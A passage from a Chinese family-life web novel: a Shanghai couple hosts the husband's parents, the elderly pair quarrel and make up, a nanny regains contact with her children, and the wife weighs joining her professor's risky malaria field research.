“行啊。”赵姐答应的爽快,这有啥不行的,她是穷出身,没来沪市前都是睡的泥土房,家里正经床都没两张,都是带着孩子挤,就是来了沪市,没做保姆时,为了省点钱,都是跟一群人挤一间房,真正属于她的就那一张晃动的上铺,没那么多讲究。 赵姐没问题,舒英笑了笑:“那我待会儿上楼问问我姐行不行。” 舒秀珍跟黄姐也没意见,也就是凑合这一段时间,而且楼上楼下的,大家也都熟悉,答应的都痛快。 李固言:“那还得买张床,赵姐那张是单人床,搬到楼上黄姐的房间,次卧就没床了,得再买一张双人床。” “大后天才到呢,你这两天抽个空去买一张回来,等爸妈回去,这床就不动了,留着赵姐睡,那张单人床要么放楼上,要么拉到二手市场再卖掉。”舒英道。 舒秀珍想了想:“就放楼上吧,正好跟黄姐这张拼成双人的,这样下次你公婆再过来也都有地方睡。” 这样也行,舒英点头,就是次卧面积也不大,放张双人床余下的空间就更少了。 还是得换大房子啊! 在安城,父母养老都是跟着儿子的,李家就李固言这一个儿子,李固言都定居沪市了,不可能再回安城发展,李爸李妈以后肯定也是要搬过来的,这小两居的房子可是住不下这么多人。 李固言晚上睡觉时握了握她的手:“没事,厂里现在步入正轨,已经开始盈利了,等把投进去的本钱赚回来,剩下的就都是咱们赚的,到今年年底,赚的钱应该够买一辆轿车,明年就能换个大房子了。” 舒英笑起来,她肯定是相信他的,“我看我姐那辆车就不错,我们也买一辆那样的,过年回家的时候就不用挤火车了,可以开车回去。” “行。”李固言也笑,“我们俩都学驾照,平时也能开车出去兜兜风。” “嗯。”舒英想着舒秀珍的车,她现在潇洒得很,每天都是开车上班开车下班,到了休息日,还能叫上她带着俩孩子出去转悠,她忍不住畅想了一下未来有车的日子,兴奋劲儿上来,一时也有些睡不着了,眼睛亮晶晶的盯着李固言说,“我们以后也买别墅,带花园的那种。” 谷雨已经睡着了,舒英动了动,将头枕在李固言胳膊上,“我上次带谷雨去参加芝芝的生日宴,芝芝家就住的别墅,生日宴就在她家后花园,装扮的可漂亮了,挂了彩灯彩带,看着就热闹,又邀请了全班的小朋友都去,我瞧谷雨也有点羡慕。”小孩子都是有攀比心的,有时候攀比心也不一定是不好。 “那我们买了别墅,等谷雨过生日,也把花园装扮装扮,邀请全班的小朋友参加,也让她当一天耀眼的公主。”李固言只要想到别的小朋友有的谷雨没有,只能在旁边眼巴巴看着,他就觉得心里难受。 “我也是这样想的,而且谷雨不是想养狗吗?房子大了,就有地方给她养狗了,她肯定会很开心。” 想到谷雨会开心,他俩也不由得笑起来。 李固言突然又有些庆幸当年果断离开机械厂出来,要是现在还在机械厂,稳定是稳定,但肯定没有现在赚钱,谷雨没办法享受先进的教育,也没办法见识到大城市的繁华。 没孩子前不觉得,有了孩子后是真的想把全世界都捧给她,她只要一失落,就会觉得是不是自己还不够努力,给她的还不够多。 夜晚,两人头碰着头,小声说着话,规划着未来房子、车子该怎么用。 时间一晃,到了李爸李妈过来的日子,舒英和李固言特意去火车站接着,沪市的火车站不比安城的,沪市的又大人也杂,不去接着,两个老人真的有可能会迷路。 火车又晚点了,预计七点半到的,两人直等到八点车才到,又等了一会儿,两人才从车上下来,迷茫地四处张望。 李固言看见人连忙挥手,跟舒英挤着人群过去。 李爸李妈看见他俩,脸上笑眯眯的,“等急了吧?” “没有。”舒英笑着关心问道,“怎么样,车上人多不多?” “人不少,好多人没座位,只能在车厢连接处坐着。” 李固言:“行,咱回家吧,你们还没来过我们在沪市买的房子呢,去瞧瞧看怎么样。” 舒英也接腔:“固萱和谷雨正在家等着呢,赵姐也已经把饭做好了,到家就能吃。” “好,好。”李妈扶着舒英的手,四人都拎着东西快步往外走。 四个人拦了一辆车,窗户都摇下来,车跑 得快,呼呼灌风,倒没有那么热了。 李爸李妈过来,可是带了不少的东西,后备箱差点都没关上,李妈道:“给你们腌的咸菜,从乡下买的大蒜,炸的馓子,还有亲家托我们给你和你姐带的东西,杂七杂八的,就多起来了。” 李固言:“这边什么都能买得到,不用带这么多。” “这边跟咱老家的到底是不一样的,吃惯了家里的,就是这里有,吃着也不习惯。” 到了家里,门一开,李固萱就带着谷雨扑上来,一个喊“爸妈”,一个喊“爷奶”,声音此起彼伏的,好不热闹。 李爸李妈高兴得直合不拢嘴,连忙就要把带来的零嘴拿出来给孙女儿吃。 李固萱哼哼:“妈你可真是,有了孙女就忘了女儿了。” 李妈剜她一眼:“多大的人了,还跟小孩抢糖吃,她不是你侄女儿啊,要么你给我生个外孙女,我也宝贝得很。” 李固萱指着她跟大家告状:“瞧瞧,瞧瞧,我就说了两句话,妈后面一堆话等着我,而且啥话都能往催婚上绕。” 大家哈哈笑起来,舒秀珍笑道:“阿姨那不是关心你嘛。” “就是!”李妈也笑着打趣,“我这姑娘真是越长越傻了,我的傻姑娘可怎么办哟,我看以后是嫁不出去了。” 李固萱大笑,作怪地要挽着她的胳膊枕上去撒娇:“那我就不嫁了,天天守着我的老妈妈伺候。” 第68章 第 68 章 李爸李妈来 “来洗手吃饭吧, 赵姐烧了一桌子菜,爸妈,你们尝尝合不合你们口味。”李固言将行李都放到空地上, 招呼大家落座。 李妈拉开椅子坐下, 看着满桌子的饭菜笑眯眯道:“这菜看着比我做的好多了,色香味俱全!” 赵姐腼腆地笑了笑,手在围裙上搓了下, 说:“你们吃你们吃。” 谷雨是个小人来疯,爷爷奶奶过来把她兴奋地不行,吃个饭都要挤在奶奶怀里要喂。 “嗯?”舒英沉声,“平时都是自己吃的, 怎么今天又要喂饭了?” 谷雨嘻嘻笑,“我喜欢奶奶嘛。”小嘴巴里说出来的话格外惹人疼,李妈被哄得眼睛都眯成一条缝,搂着她直喊乖宝, 自己不吃也要把孙女喂好。 今天第一天, 舒英虽然有些无奈,但也怕扰了大家的兴, 就没再说谷雨, 对李妈道:“妈,你自己也吃,别光顾着她了。” “哎。”李妈应着,但还是搂着谷雨, 连声问她要吃什么。 吃完了饭,已经九点半了,赵姐和黄姐收拾残局,贝贝困了, 舒秀珍就先带着她上楼去睡觉,只剩下他们一家子还在客厅里说笑。 谷雨精神头好着呢,围着爷爷奶奶不停地转悠,一会儿要这个抱,一会儿要那个搂,还要给二老展示自己学的打拳,嘿嘿哈哈的,二老看着不住地夸,越夸她还越来劲,拦都拦不住,打了一头的汗出来。 舒英看了眼墙上的表,已经快十点了,几人还玩得高兴,她用手肘碰了下李固言。 李固言得到示意,笑道:“爸妈,今天太晚了,你们坐火车也累了,早点睡吧,明天休息一下,后天我们带你们出去转转。” “行。”二老也的确有些累了,拉着孙女又亲热了会儿,准备洗洗睡觉。 李固萱见状说:“那我现在回去了。” “这么晚了,你别回去了,也不太安全,就在这睡吧,明天白天再回去。”舒英拉着她,“你要是不介意就跟我睡,让你哥在沙发上凑合一晚。” 李固萱看了眼脸色微变的李固言,瞬间笑起来答应,挽着舒英的胳膊说:“那好啊,嫂子你身上香喷喷的,跟你睡,梦都是香的,就是某人晚上要孤枕难眠了。” 李固言有些无语,“……那祝你今晚有个好梦了。” 李妈也笑起来:“你跟我睡,正好咱娘俩晚上聊聊天,让你爸睡沙发。” “沙发太软了,爸年龄大了睡着不舒服,就我睡沙发就行了,行了,别在这说话了,太晚了赶紧去洗个澡睡觉吧。”李固言摆手,没同意李妈的提议。 舒英从柜子里找了套自己的睡衣拿给李固萱,“洗干净的,你洗完澡就先穿这件吧。” “好,谢谢嫂子。” “没事。”舒英笑了笑。 谷雨先洗,接着是二老,最后才是他们三个年轻人,这么多人,热水不够,每个人也就是到淋浴头下简单冲了下,将身上的汗味冲掉就出来了。 第二天一早,年轻人都起来上班的上班,实习的实习,就二老和谷雨还待在家里。 舒英现在和付思萱一起在医院药学部实习,每天就是跟着前辈们调药制药,熟悉各种流程,并不跟患者直接接触。 因为药学部的主任跟章惠然的关系很好,所以她俩在这个科室里待的是如鱼得水,跟大家的关系都处得很融洽,没什么人为难她们。 两人凑到一块儿做事,闲暇时也能一起聊聊天。 彭娟娟上半年就硕士毕业了,没读博,按她的话讲就是:“硕士三年受尽了折磨,实在是不想再吃博士的苦了。” 付思萱道:“也不知道彭学姐现在怎么样了。” 彭娟娟毕业后也进了医院的药学部,工作内容就是制药研究,不过跟她们实习的医院不是一家,而且离得还挺远。 舒英摇头:“应该挺不错的吧,彭学姐性格好,专业上也很厉害,到哪都能混得开的。” “你说得对。”付思萱打了个哈欠,一上午都在忙碌,实在有些困倦,“孔学哥和欧阳学姐毕业后估计会留校,廖学哥之前就说他毕业要回老家的。” “他老家是省会,以他现在的学历回去估计高校和医院都可以任选了。” “是。”付思萱点头,“那姐你呢?咱们开学就研二了,你硕士毕业后准备去做什么?” 硕士毕业做什么?还有两年就毕业了,舒英抬头思索了下,她现在还没想好,问:“你呢?你是准备继续念还是参加工作?” “我?我倒是想参加工作。”说起这个,付思萱有些无奈,“但我爸妈想让我出国留学,已经在给我打听学校了,所以我很大概率就是出国。” 她家境不错,现在出国也热,舒英对她家的这个选择并不意外,点点头说:“挺好,去国外看看,那你还准备回来吗?” “回来吧,我是华国人,学成肯定是要回来的。” 舒英笑起来,在她脸前竖起大拇指:“有理想有志气,等着你学成归来建设祖国。” 付思萱嘿嘿笑,困意瞬间消散殆尽,挺直腰板拍着胸脯道:“姐,你等着,让我们为中华之崛起而读书!” “好!我等着。” 舒英笑着附和,看着她意气且坚定的笑脸,很是为她开心,但也为自己感到一丝迷茫。 她们这个专业就业无非就几个方向,医院、高校、药监局之类,她中专毕业后就一直在安城二院待着,干了这么多年,说实话,实在是有些干够了,而药监局这些是国家部门,工作也很繁琐,并不太想去,那就只剩下高校了。 如果是高校的话,她是很想留在沪大的,离家也近,但孔学哥和欧阳学姐估计会留下,他们还是博士学历,她想留就只能也去读博士,博士读完再争取机会。 想到这,她忍不住叹声气,又安慰自己,车到山前必有路,暂时先走一步看一步吧,毕竟有学历有能 力也有工作经验,以后不管走哪个方向,肯定都不会太差的。 放下心后,跟付思萱二人又开起玩笑:“彭学姐现在已经工作了,也不知道她跟孔学长什么时候结婚,到时候我们可要准备份子钱了。” “应该是等孔学长博士学位到手吧,那就是明年了,当然,如果孔学长延毕就不知道了。”付思萱咧嘴笑起来,“开玩笑啦,孔学长挺厉害的,延毕应该不至于。” 舒英感慨:“一年一年的,时间过得真快,去年这时候我们还没正式入学呢,马上我们学弟又要来了。” 章惠然今年也有硕士生名额,招了名男生,其他学校考上来的,还没来报到。 “也不知道学弟性格怎么样,好不好相处……” 两人又聊了会儿,等歇息过来后,就回到了岗位上继续忙碌。 第二天,舒英请了假,李固言也腾出空,带李爸李妈俩人去沪市的景点转转。 东方明珠电视塔已经建成了,矗立在黄浦江边,高大巍峨,是沪市的地标性建筑,自从建成后上过好几回电视的,李爸李妈来了后点名想去瞧瞧,那舒英和李固言自然没有不依的,还带了相机,想给他们在塔前留影,到时候照片洗出来,他们也能拿回家跟老邻居们炫耀一番。 几人在外滩那里跟电视塔留影完后,去吃了著名的和平饭店,李妈看着菜单直心疼钱,“这店怎么这么贵哦,这一条鱼一斤要一百三啊,这鱼是金子做的吧?咱们别在这儿吃了,换家店吧?” “没事,又不经常来吃,这不是你们第一次来,咱们来尝一尝吗。”李固言笑了下,把菜单从她手里抽出来,跟服务员点了几道菜。 李妈见拗不过他,但还是忍不住唠叨:“这么一顿饭要吃掉普通人一个月的工资啊,一个月的工资还不一定够。” 舒英不掺和他们母子俩之间的对话,只安静笑着听他们说,并顺手把自己和谷雨面前的餐盘整理好,又给谷雨戴上围兜,省得她不小心将饭菜弄到身上,把衣服弄脏,下午还要继续逛拍照片呢。 李妈说了两句,见李固言不吭声,也就不再多言,转头打量了下这间饭店,现在正是饭点,这么贵的店人还不少呢,大堂里的桌子几乎都坐满了。 她转着身扭着头仔仔细细把饭店打量了一通,不知道想起什么后忙招手说:“小英,你给我在这儿拍几张照片,等回去给我那几个老朋友看看,这么贵这么高级的饭店我还第一次来,她们也没来过呢。” 舒英笑吟吟的,把相机从包里拿出来,对着她按下快门。 李妈拍了几张后又说:“咱们一家子一块儿拍一张。” “行,我叫服务员帮我们拍一下。” 舒英伸手叫了名站在不远处的服务员,把相机递到他手里,接着一家人将椅子拉近了点。 服务员半屈身,从取景框中看着一家人,老人看着儒雅斯文,一人戴着男士礼帽,一人头发烫着卷,笑得慈祥又温和。 两个青年人成熟淡然,男人穿着白色短袖衬衫,扣子扣得一丝不苟,唇角微微弯曲,女人轻轻笑着,一手撑头一手搭在前面孩子腰上,温柔恬静。 小孩子活泼又俏皮,一手举着勺子,一手拿着叉子,乐呵呵地龇牙笑着,一看就是幸福美满的一家人。 服务员微微一笑,替这一家人记录下这一刻,甚至为了避免一张照片拍不好,而多按了几次快门。 拍好后舒英接过相机道谢,等服务员离开后,一家人又将椅子拉回原位。 李妈满意地笑起来:“这下回家可有的炫耀了,儿子媳妇都这么孝顺,带我们老两口逛了这么多地方,还来了这么好的餐厅。” 舒英也笑了笑。 吃饱喝足后,下午又去了城隍庙,从城隍庙出来就打道回府。本来还想带他们去豫园看看的,但天气太热了,人走在路上实在有些撑不住,舒英和李固言怕他们身体受不住就没去。 谷雨玩一天也玩开心了,脸蛋红通通,眼睛亮晶晶的。 舒英看着她笑:“要不要去找贝贝姐姐玩?” “要!” “去吧,乖一点,待会儿妈妈给你们切冰西瓜吃。” “好。”谷雨点头,拉开门就跑上了楼。 李爸又在这待了几天,实在有些待不住了,白天舒英和李固言都出去上班去了,谷雨也要上兴趣班,家里就只有李妈和赵姐,跟邻居们也都不认识,到楼下转转,也听不懂大家说的话,闲得发慌,跟李妈商量着想回安城了。 李妈还不想回去,她又不像他,非得跟人家下个象棋,侃个国家大事,她在这边过得挺好,也不用做饭也不用打扫卫生,天天还能看见儿子孙女,赵姐也是安城人,她没事还能跟赵姐聊聊天,又或者钩个拖鞋缝个衣服的,每天都充实得很,还不累。 李爸想回家,但李妈不想走,他也不好意思当着儿子儿媳妇的面说,只晚上躺床上唉声叹气,搞得李妈也没什么心情。 她道:“你要是想回去,要不就你先回去,我再在这儿过一段时间,等天凉快点儿再回。”现在他们老两口都退休了,她回了家也没什么事,天天净在家里伺候他了,家里那么热,还要进厨房烧饭,还不如留在这里,儿子媳妇人都好,又不会赶她,时不时还能见着小闺女。 李爸听了这话,还是想叹气,他自己回去,天天就得自己烧饭,也是不想动,但留在这里又没个人说话。 李妈见他不接腔,又说:“要么你就老老实实在这待着,天天送谷雨和贝贝上个学放个学,不也挺好,在这儿又不要你操心什么,也不知道你天天哪儿来的这么多事。” 李爸见她唠叨嫌弃自己,面色不虞,翻个身背对着她。 正好好说这话呢,他搞这一出,好像谁得罪他了一样,李妈本来没生气的,也被他弄生气了,冷哼一声,也翻身背对着他,伸手将自己这一侧的台灯关了。 她故意的,动静大,李爸撑着身子看了眼,又躺下去,也把灯关了,房间里瞬间陷入黑暗,只剩床尾的风扇呼呼地转。 他们这边的官司,舒英和李固言并不知道,他俩现在正领着谷雨玩呢。 谷雨正在翻跟头,双手按着床,屁股高高撅起,一个用力,整个人都用背滚过去,一个跟头翻完,她笑呵呵地抬起头,期待着爸爸妈妈的反应。 爸爸妈妈自然不会让她失望,都鼓着掌惊呼:“宝宝真棒!” 舒英上前抱着她在她脸颊上亲了一下,李固言也凑过来亲另一边,两个人起了坏心思,故意用脸挤着谷雨的小脸,肉嘟嘟的脸颊扁下去,和五官挤作一团,嘴巴都闭不上。 谷雨还在呵呵笑,笑得声音都含糊了。 三人玩闹一番后,让谷雨回小床上睡觉,谷雨今天玩得开心,眼珠子滴溜转了下,讨巧地挨着妈妈撒娇:“妈妈妈妈,我今天想跟你睡,我想妈妈搂着我睡~” 小嗓子夹起来,说话黏黏乎乎的,差点没把舒英和李固言笑岔气。 舒英轻轻拍了下她脑袋:“跟谁学的这么说话。” 谷雨不说,嘿嘿笑着,乌黑发亮的两只眼睛盯着她,舒英双手揉了揉她的小脸,又把她抱在怀里:“那好吧,那今天妈妈搂着你睡。” “嗯!”谷雨一听妈妈答应,赶紧躺下去,躺在妈妈怀里,又拉着妈妈衣角说,“妈妈,你给我讲故事听。” “好。”舒英答应,让李固言抽本书过来。 两人是第二天才发现李爸李妈之间有点不对劲的。 老人起来的早,也不睡懒觉,就跟他俩一块儿吃早饭,两个人吃饭的时候也不说话,甚至都不往对方身上看。 李爸坐在桌子里面靠墙,进进出出就不太方便,得外面的人让一下才行,李妈就坐在外面,舒英和李固言都瞧出来李爸想出去了,她整个人还稳如泰山,完全没有反应。 李爸见她这样,干脆把碗往前一推,冷着脸坐着也不动弹了。 舒英和李固言都看愣了,昨天晚上睡觉前老夫妻俩还好好的,这怎么过了一夜就闹别扭了。 李妈也没管李爸的态度,她自吃她的,还笑着招呼舒英和李固言多吃点,待会儿还得上班呢,不能饿肚子。 舒英作为儿媳妇不好问,她私下里对李固言道:“你晚上下班回来问问爸妈怎么回事,要是小问题你就给调解调解,要是大问题就再说。” “行。” 到了下班点,老两口还没和好,连谷雨都觉出不对劲来了,一会儿跑到爷爷面前撒娇,一会儿到奶奶面前卖乖,末了还要到妈妈跟前叹口气,一副小大人模样:“真是把我累坏了。” 舒英没憋住笑,在她脸蛋上捏了捏,“我们谷雨今天辛 苦了,待会儿妈妈奖励你一颗棒棒糖好不好?” 谷雨眼神瞬间亮起来,炯炯有神,盯着她点头跟小鸡啄米一样,还在她脸颊上亲了一口:“好,好好,妈妈你最好了!我要葡萄味的。” “小机灵鬼。”舒英在她鼻梁上刮了刮,爱溺道,“那你吃了糖后再辛苦一点,去跟爷爷奶奶聊聊天。” “好噢。” 晚上躺床上后,舒英才从李固言口中得知事情原委,知道是因为李爸在这里待着无趣想回家了。 她道:“要不就先让爸自己回去?这边也没个人跟他下下棋聊聊天,咱们平时也要上班,他是挺无聊的。” “我也是这样想的,但我看爸是想回去,但想让妈跟着一块儿回去。” “这又是为什么?妈既然不想回去,那就让她在这边多玩段时间就是了,老家那么热,回去又没什么事,又不像乡下要伺候庄稼浇水施肥的。”舒英皱皱眉,有些不解。 “他没明说,但我估计着应该是想让妈回去照顾他,给他洗衣做饭。” 那舒英就更不解了,“爸又没少胳膊腿儿的,干嘛非得等着妈伺候他,虽说年龄大了点吧,但也才六十多,也没什么病啊痛的,而且之前妈在咱那边帮我们带谷雨的时候,他自己不也生活的好好的吗?怎么这时候又想要人伺候了?” 李固言摇摇头:“年龄上来了,架子也上来了。” 舒英闻言睨他一眼,没什么好脸色:“我跟你说,等咱们老了,你要是像爸这样等着我伺候你,你小心我揍你。” “那不会。”李固言笑起来,用手包住她的拳头,“我肯定不会这样干,我还等着伺候你呢。” 舒英娇哼一声:“这还差不多。” 两人又说回李爸李妈。 李固言道:“我明天就跟爸说,让他先回去,让妈再留一段时间,帮咱们带带谷雨,把谷雨拿出来当借口,是他亲孙女,他也就没什么好说的了。”到底是亲爸妈,他态度得好,不能惹得俩老人更生气,用谷雨做噱头是最好不过的了。 “嗯,这事儿你看着办吧。”毕竟是公婆之间的私事,她是不好参与的,让李固言这个亲儿子去搅和去。 翌日,李固言下了班就去找李爸说这件事,果不其然,说让李妈帮忙看谷雨,他再有意见也不好再说什么,点头让儿子给他买这两天的车票,他收拾收拾就准备回老家了。 这事儿一解决,老两口也不像前面那样僵着了,李妈还帮着给他收拾行李,跟儿子媳妇一块儿给他送到火车站,再三嘱咐,到家后别忘来个电话,老头子自己一个人坐火车,她还是有些不放心的。 她说一句,老头子就点头答应一句,末了还让她别挂念他,在这边好好带孙女儿,等回去的时候提前给他打电话,他去火车站接她。 舒英在旁边看着,觉得老两口也挺好玩,也跟小孩儿闹别扭一样,一会儿好一会儿孬的。 几个人看着李爸的火车开走后,这才放心的回家,等着他到家后打电话。 第69章 第 69 章 l理想 接下来的日子一如往常, 白天就是李妈跟赵姐在家,俩人聊着天,再在一块儿做点手工打法时间, 她俩手巧, 家里的门框上都挂上了她们穿的珠帘,风一吹,珠帘晃动, 又好看又好听,谷雨是喜欢极了,贝贝瞧着羡慕,也央着她们给她家也做。 两人在一起的时间长了, 又都是安城人,说话都能听得懂,慢慢的,倒也处得成了朋友, 每天无话不谈, 赵姐还跟李妈说了自己的事,听得李妈眼泪涟涟。 舒英下了班一进门, 就看到这一幕, 惊诧地问:“这是怎么了?怎么好端端的,两个人都哭起来了?”她瞧着她们俩不像是发生矛盾的样子,倒像是提到了什么伤心事。 赵姐不好意思地用袖口擦了擦眼泪,李妈被儿媳妇撞见流泪, 也有些难为情,两人都背过身去,躲着舒英把脸上擦干净。 赵姐才道:“没事没事,是我不好, 又说起我档子事了,大姐是心疼我,被我惹哭了。” 原是这事,这种事情舒英不好说什么,宽慰了几句。 赵姐忙站起身问:“饿了吧?瞧我,这一聊就忘了时间了,你要不先吃点儿饼干垫垫,我现在就做饭,现在天热,我熬点绿豆米粥了?再熘几个馒头,大姐从老家带来的酱豆也还没吃完,我用青椒炒炒,再炒盘绿豆芽,谷雨晌午就说想吃鸡翅,我再做个红烧鸡翅,她喜欢吃甜的,我多加点糖。你看还要不要再做点?” “这些就够了,也没什么胃口,绿豆芽多炒点,这个菜水灵又爽口,浇点醋汁还开胃。”舒英摇头,“谷雨呢?在楼上吗?” “行,那我就这样做了,谷雨在楼上跟贝贝玩呢,你要上去看看吗?饭菜做好了,我喊你们吃饭。”赵姐说着自己平时最擅长的事情,情绪已经平复下来了,只是眼眶还有些泛红。 “那我上去瞧瞧。”舒英问李妈,“妈,你上不上去?” 李妈摆手:“我就不去了,我在这给小赵打个下手。” “好。” 李妈在沪市待了一个暑假,等到了谷雨开学才回去。 舒英见她在这边玩得挺开心,还以为她能再多留一段时间,但她心里还是念叨老头子的,在这边也有些待不住了。 舒英和李固言给她准备了一堆东西,让她带回来,送到火车上还说着让她明年暑假还来,谷雨想奶奶呢,李妈都乐乐呵呵地答应了。 李妈回去后没几天,舒爸舒妈就来电话了。 舒秀珍有些无奈:“这不亲家妈回去,跟爸妈碰上了,把咱们这边夸了一通,爸妈不就起心思了吗?” “那就来呗,让他们也来玩两天。”舒英道。 老人心思也多,会想着你儿子在那,我闺女也在那,沪市我也还没去过呢,你都去那玩那么久了,我也想去瞧一瞧。 这也正常,过来玩几天而已,也不是什么难事。 舒秀珍说:“行,那我就让人给买车票了,到时候我开车去车站接,接来了嘴严实点,别跟他们说我这房子是买的。” “懂,我会提醒赵姐的。”舒英点头,“那等他们来了,让黄姐下去跟赵姐睡,让爸妈睡你这吧?” “行。” 舒爸舒妈接着也来走了一趟,俩闺女一女婿还有俩外孙女,都给他们哄得高高兴兴的,回去的时候也照着给李爸李妈准备的东西,给他们也买了一份,又把冲洗出来的照片给他们,笑得见牙不见眼的回去了。 又过了几天,李妈从老家打了电话来,这电话不是找舒英李固言的,也不是想孙女的,是找赵姐的。 舒英虽然有些疑惑,但想着她俩在一起这么长时间也有感情了,笑着把电话递给赵姐后就进屋看书了,不知道埋头看了多久,就见谷雨磨蹭着脚步过来,一副说悄悄话的样子冲她招手。 舒英笑了下,将耳朵递过去。 “赵阿姨哭了。”谷雨说完有些无措,紧盯着妈妈。 舒英诧异:“不是在跟你奶奶打电话吗?怎么会哭?” 谷雨摇摇小脑袋,头上的辫子一甩一甩,“不知道,赵阿姨跟奶奶说话说着说着就哭了,放下电话后哭得更厉害了。” 舒英起身,“妈妈出去看看, 你要不要去?” 谷雨不吭声,过会儿有些羞赧说:“老师说盯着别人哭是一件不礼貌的事情。” 舒英笑了,小家伙这是怕她过去会戳到赵阿姨的伤心事,但因为她是妈妈,不好意思直说让她别去,她伸手在她额头上点了下:“小鬼灵精。” 谷雨捂着额头嘿嘿笑了两声,又问:“赵阿姨为什么哭?她是又想她的孩子了吗?” “应该是吧。”舒英把她抱到腿上坐着。 谷雨小大人一样叹口气:“赵阿姨真可怜。” “是啊。”舒英点头,一会儿后又道,“这话你可别在赵阿姨面前说。” “我才不会说呢,我又不笨。”谷雨哼哼,对妈妈这样的提醒很不服气。 舒英笑起来,搂着她掂了掂,“好,是妈妈笨。” 谷雨赶紧反驳:“妈妈也不笨,妈妈是最聪明最厉害的人!” “那你呢?”舒英问,“你是第几聪明?” “我是第三聪明,爸爸第二聪明。” “哟,这回又不说自己是第二了,又变成是爸爸第二了?”舒英笑盈盈的,很是惊奇。 谷雨知道妈妈打趣自己,对了对手指,有些小声说:“爸爸还是很聪明的。” “好,我们一家都聪明。”舒英笑起来,但注意着没笑出声。 晚饭的时候,赵姐来敲门叫两人出去吃饭,舒英悄悄打量了她一眼,眼睛鼻头虽然还有些泛红,但眼睛里充满了笑意,跟之前想孩子时不太像,这下她更好奇了,但念着闺女的提醒没主动问。 她没主动问,赵姐却主动开口说了,她把饭菜都端到桌子上,趁着舒英吃饭时道:“刚刚大姐给我打电话。” 舒英“嗯”一声,示意她接着往下说。 “之前我跟大姐说了我家的事,没想到大姐就放心上了,她这次回去特意找去了我孩子的村子,见到了我仨孩子。” 舒英惊讶,放下碗筷说:“这是好事啊,怎么样,孩子们都怎么样了。” 赵姐说着说着又有点想抹泪:“孩子们都好都好,都长大了,大姐说还带他们仨拍了照片,给我寄过来了,说孩子们瘦得跟麻秆一样,说我家老大老二还记得我,大姐说她刚找到她们的时候,她们还害怕她,后来听她说她跟我认识,就缠着她跟她们讲我的事情。” 舒英见她落泪刚想给她找干净的帕子,谷雨就给拿过来了。 赵姐用帕子擦了擦眼泪说:“我刚走那年,我大闺女七岁,二闺女五岁,儿子才三岁,他们仨现在跟他们爷奶和叔婶儿一块儿过,家里穷,孩子多,都瘦得厉害,我说拖大姐给他们仨捎点钱,要是吃不饱饭也能去买点东西填填肚子。” “好事好事。”舒英连连点头,怪不得赵姐这么高兴,念了这么多年的孩子突然能联系上了,可不就是高兴嘛。 赵姐看着她,神色认真:“你们一家都是好人,你是好人,谷雨爸爸人也好,大姐更不用说了,能遇上你们这样的雇主,真是我的幸运了。” 舒英被她说的有些不好意思,摆摆手道:“什么好人不好人的,只是说对得起自己的良心,不想让良心上过不去,而且你在我家也是付出劳动的,每日洗衣做饭是很辛苦的,咱们都是安城人,出门在外能帮一把是一把。” 赵姐笑了笑,用帕子按了按眼角,再肉麻的话也是说不出来了。 进了十月份,天气就开始慢慢凉下来了,一早一晚都有了秋意,出门的早的话还要穿一件薄外套,等到了学校再脱掉。 这天舒英如往常一样来到实验室,她不是最早一个到的,也不是最晚的,等人差不多都到齐后,章惠然拿着一沓文件也进来了。 她头发梳得一丝不苟,头发有些花白,身上穿着藏青色的棉质立领盘扣衬衫,同色系的直筒西裤,熨烫的板正,没有一丝褶皱,凸显出她性格上的严谨。 她温和地笑了笑:“大家实验都做得怎么样了?” 下面七嘴八舌地回答,她都静静听着。 等大家说完后才道:“大家都知道青蒿素复方计划吧?” 大家都不约而同地点头,去年世界卫生组织(WHO)专家组考察青蒿素研究进展,今年前段时间WHO启动了青蒿素复方计划。 青蒿素是六十年代末国家成立的机密科研工程,到了1972年分离出青蒿素单体。 章惠然继续道:“现在传统抗疟药出现耐药性问题,而我们学校之前有青蒿素研究基础,所以我们的团队也会参与到这个计划中,那么我们接下来的重点是研究青蒿素的作用机制。” 大家点头等着她接着说。 她笑了笑:“这个研究跟你们之前的研究实验相比,可不是一件简单的事情,大家都知道疟疾吧?” 当然知道,疟疾是一种虫媒传染病,传染性很强,国内疟疾的流行情况主要分布在一些南方省份,尤其是农村和边境最为严重,每年几乎都有数万人感染,90年时的死亡率高达0.12%,而五岁以下的儿童死亡率要占到63%。 “疟疾是一种非常严重的传染病,不止是我们国家,在全世界范围内,每年都有无数人因为疟疾失去生命。这个研究我必然是要参加的,你们都是我的学生,我自然也希望你们参加,但要知道,研究并非纸上谈兵,我们是需要实地考察实验的,要知道不同的按蚊叮咬,它们传染的疟疾类型也不同,在这期间,我们要近距离的研究这些疾病,接触被感染的患者,观察不同的按蚊,不用我强调,你们也知道它必然是危险重重。所有人的生命都是珍贵的,患者是,你们也是,所以我不强求你们,我给你们一周的时间考虑,愿意跟我做研究的,你们的毕业课题就以这个为中心,不愿意的,学院也会给你们安排新的导师,进行新的课题研究。” 她话音刚落,欧阳雪就道:“老师,我想跟着您去。”她声音清脆,掷地有声,语气中没有半分犹疑。 大家都转头看向她,她眼神坚定,不为大家视线所动。 章惠然眼中染笑,但还是说:“不用这么早下决断,一周后,我期待大家的回复。” 闻言,欧阳雪不再说话,她收回目光,又落在眼前的实验数据上。 舒英看了章惠然一眼,又看了她一眼,心中不由升起钦佩之情,她们是纯粹的科学家,心中怀有家国大义,都是了不起的人。 她又想到自身,章惠然教授在上面说的时候,她也热血沸腾,国家不知道有多少人因为疟疾而处于水深火热之中,她也想跟着救死扶伤,匡扶百姓,但不过一息之间,她又想起谷雨,想起李固言。 这个研究是个危险的事情,甚至并非三两年就能解决的问题,如果她真的参与了这个研究,她就要离开家,离开李固言和谷雨,去到最危险的地方,这会让她错过谷雨的成长,甚至让谷雨与她不再亲近。 章惠然说完后就离开了实验室,剩下的人除了欧阳雪外,谁也无心实验了,都是一脸的犹豫彷徨。 付思萱问:“姐,你要跟着老板吗?” 舒英恍然回神,摇摇头道:“我不知道。” “我也不知道。”付思萱叹口气,报告还没看完,但她是再也看不进去了,“这项研究是一件为国为民的好事,当研究取得进展,不知道能解救多少被病痛折磨的人,但,这对我们来说,真的是一件很难抉择的事情。” 舒英没接腔,她的思绪早已飞到窗外去。 这一天,因为同一件事,大家都跟热锅上的蚂蚁一样,又迷茫又无措,跟同学们商量,也商量不出什么结果,还没到放学的时间,除了欧阳雪,大家就都离开了实验室,要知道,往常这个时候,大家可都还闷头做实验呢。 舒英也早早收拾包,刚想回家,脚步一转,又去了谷雨的幼儿园,在幼儿园门口碰到赵姐,对她道:“赵姐,今天我接谷雨,你先回去做晚饭吧。” 赵姐点头答应,又问她晚上想吃什么。 舒英没什么胃口,抿唇笑了笑:“什么都行,你看着烧吧。” “哎。” 